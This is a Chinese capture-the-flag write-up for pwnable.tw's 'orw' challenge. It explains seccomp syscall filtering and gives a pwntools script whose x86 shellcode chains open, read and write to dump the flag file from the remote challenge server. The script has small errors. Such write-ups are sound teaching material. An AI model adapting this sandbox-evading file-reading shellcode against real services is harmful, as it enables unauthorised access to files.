【pwnable.tw 系列】orw

概述:本题是pwn的入门级题目,主要是让初学者学会编写shellcode。

1、首先file start,可以看到这是一个32位的elf文件,动态链接,同时保留了符号信息;

file orw

2、然后checksec orw,可以看到只开启了Canary;

checksec orw

3、然后用IDA打开目标文件开始分析,用F5查看可知主函数逻辑比较简单清晰,先调用了一个orw_seccomp()函数,然后会将我们输入的字符串直接执行,所以本题不需要再找其他的漏洞,但是尝试发送开shell的shellcode会发现失败,似乎会返回一个shell,但不返回命令的结果,然后开始研究orw_seccomp()函数。


main函数
传开shell的shellcode

【引用】seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

【引用】seccomp 简单来说就是一个白名单,每个进程进行系统调用(system call)时,kernal 都会检查对应的白名单以确认该进程是否有权限使用这个系统调用。这个白名单是用 berkeley package filter(BPF)格式书写的。

由上面的引用内容可知,应该是存在一个白名单内记录着进程允许的系统调用,而开shell的系统调用明显不在其中,然后开始分析seccomp函数,看到其中调用了memcpy()将0x8048460开始的0x60大小的内容拷贝到栈上,怀疑这个就是白名单,利用ida脚本将其dump出来,苦逼的是不知道怎么解读这段数据,百度也没有找到相关内容,如果有哪个大佬知道请指教。


seccomp函数
orw.dump

分析到这里只能选择尝试的办法来进行分析了,虽然不能开shell但终极目的并不是开shell而是获得flag,所以我们可以试一下read、write等的shellcode能否被执行,基于此思路并参考Linux Syscall Reference(http://syscalls.kernelgrok.com/)写出如下exp:

# -*- coding:utf-8 -*-

"""

exp for pwnable.tw orw.

by rafa.

"""

from pwn import  *

def exp():

    p = remote('chall.pwnable.tw',10001)

    p.recvuntil(':')

# 先 open 文件,然后 read 读出内容,再 write 打印到终端

    shellcode = "xor  ecx,ecx;push ecx;push 0x67616c66;push 0x2f77726f;push 0x2f656d6f;push 0x682f2f2f;mov  ebx,esp;xor  edx,edx;mov  eax,0x5;int  0x80;mov ebx,eax;mov ecx,esp;mov edx,0x30;mov eax,0x3;int 0x80;mov eax,0x4;mov ebx,0x1;mov edx,0x30;int 0x80"

    p.send(asm(shellcode))

    print io.recv()

    p.interactive()

if __name__ == '__main__':

exp()


其中shellcode部分解释如下:

sys_open 系统调用传递的四个寄存器参数即具体实现:

eax = 0x05 系统调用号

ebx = filename 文件名

ecx = flags 置零即可

edx = mode 置零即可

具体实现:

    xor  ecx,ecx;

    push ecx;

    push 0x67616c66;

    push 0x2f77726f;

    push 0x2f656d6f;

    push 0x682f2f2f;

    mov  ebx,esp;

    xor  edx,edx;

    mov  eax,0x5;

    int  0x80

sys_read 系统调用传递的四个寄存器参数即具体实现:

eax = 0x03  系统调用号

ebx = fd 文件指针,就是open的返回值,不需要改变

ecx = buf 缓冲区,指向栈顶位置

edx = count  字节数

具体实现:

    mov ebx,eax;

    mov ecx,esp;

    mov edx,0x30;

    mov eax,0x3;

    int 0x80

sys_write 系统调用传递的四个寄存器参数即具体实现:

eax = 0x04  系统调用号

ebx = fd  文件指针,置为1,打印到屏幕

ecx = buf  缓冲区,指向栈顶

edx = count

具体实现:

    mov eax,0x4;

    mov ebx,0x1;

    mov edx,0x30;

    int 0x80



运行获得flag:

flag

你可能感兴趣的:(【pwnable.tw 系列】orw)